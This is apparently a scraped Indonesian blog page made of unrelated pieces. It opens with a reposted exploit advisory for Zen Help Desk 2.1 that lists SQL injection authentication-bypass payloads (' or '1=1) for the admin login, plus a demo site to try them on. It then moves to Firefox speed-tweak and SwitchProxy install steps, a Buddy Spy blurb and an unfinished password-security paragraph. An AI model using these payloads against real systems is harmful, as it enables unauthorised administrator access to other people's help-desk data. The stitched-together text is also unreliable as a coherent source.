---------------------------------------------------------------
------------------------------------------------------------
Zen Help Desk Version 2.1 (Auth Bypass) SQL Injection Vulnerability
---------------------------------------------------------------
Founder : TiGeR-Dz
Home:http://www.zenhelpdesk.com/
Script:Zen Help Desk Version 2.1
---------------------------------------------------------------
---------------------------------------------------------------
Exploit:
-------
http://www.site.com/admin.asp
username:[admin_name]' or '1=1
password: No Thing
or
username:' or '1=1
password:' or '1=1
--------------------------------------
Dem0
---
http://helpdesk-demo.com/admin.asp
--------------------------------------
Greeting To ALL My Friends (Dz)
----------------------------------------------------------------
source : http://www.milw0rm.com/exploits/8825
| OUTLINK | ziddu |4shared |
1. Buka Browser Mozilla Firefox
2. Pada Address Bar Ketik : ABOUT:CONFIG
3. Cari string di bawah ini : ( pastikan semua srting dibawah "TRUE")
Contoh menggantingnya :
NETWORK.HTTP.PIPELINING FALSE ==> klik kanan dan pilih "Toggle"
NETWORK.HTTP.PIPELINING TRUE
NETWORK.HTTP.PIPELINING.MAXREQUESTS 64
NETWORK.HTTP.PROXY.PIPELINING TRUE
NETWORK.PROXY.SHARE_PROXY_SETTINGS FALSE <=== ini harus False
4. buat srting baru caranya : Klik Kiri 1X Dimana Saja, Klik Kanan
5. Ketik : NGLAYOUT.INITIALPAINT.DELAY Beri Nilai 0
6. Kemudian REFRESH atau Tekan F5
7. Pada Address Bar Ketik : ABOUT:BLANK
Klik Menu:
Untuk OS Windows XP TOOLS>>OPTIONS>>WEB FEATURES
Untuk OS Linux ( Vector ) EDIT >> PREFERENCES
Untuk Setting yang berbeda di beberapa OS EDIT >>ADVANCED
9. Pada Option : ALLOW WEB SITES TO INSTALL SOFTWARE Beri Tanda Check Box Untuk mengaktifkan
10. Kemudian Tekan OK Lalu REFRESH ( F5 )
11. Masuk Ke Link Ini :
https://addons.mozilla.org/extensions/moreinfo.php?applicationfiltered=firefox&id=125
atau :
https://addons.mozilla.org/extensions/moreinfo.php?id=125&applicationfiltered=firefox
12. Download Software SwitchProxy Tool Versi 1.3.4
13. Setelah Selesai Jangan Tekan Tombol UPDATE
14. Klik Tanda X (tutup)Yang Ada Di Pojok Kanan Atas Dari POP UP Window Yang Muncul
15. Tutup Semua Browser Mozilla FireFox,
16. Kemudian Buka Lagi Untuk Mengaktifkan Software SwitchProxy Tool Versi 1.3.4 Yang sudah di Install Tadi
17. Kalo Instalasi Sukses, Akan Muncul Toolbar tambahan Di Bawah Toolbar Navigasi & Address Bar.
Sekarang Browser Mozilla Siap Untuk Digunakan…….
:: Message ::
Klik 2x di settingan dan masukin angka-angka ini - untuk true / false booleans – mereka bakal ganti otomatis begitu klik 2x
Code:
browser.tabs.showSingleWindowModePrefs – true
network.http.max-connections – 64
network.http.max-connections-per-server – 20
network.http.max-persistent-connections-per-proxy – 10
network.http.max-persistent-connections-per-server – 4
network.http.pipelining – true
network.http.pipelining.maxrequests – 100
network.http.proxy.pipelining – true
network.http.request.timeout – 300
network.http.request.max-start-delay = 0
nglayout.initialpaint.delay = 0
If nglayout.initialpaint.delay doesnt exist, Right click, new integer.
Optional:
Code:
network.http.max-persistent-connections-per-proxy = 10
network.http.proxy.pipelining = true
network.http.proxy.version = 1.0
| Sumber | virusbajawa |
Buddy Spy is the premier program for Yahoo! Messenger status checking.
Saya dan adhe pernah memperdebatkan mengenai keamanan menggunakan keyboard atau mouse saat mengetikkan password login. Jawaban yang paling tepat oleh adhe “tidak ada yang aman” haa…masa sih…Tulisan ini akan membalikkan semua perkatakan adhe tersebut.
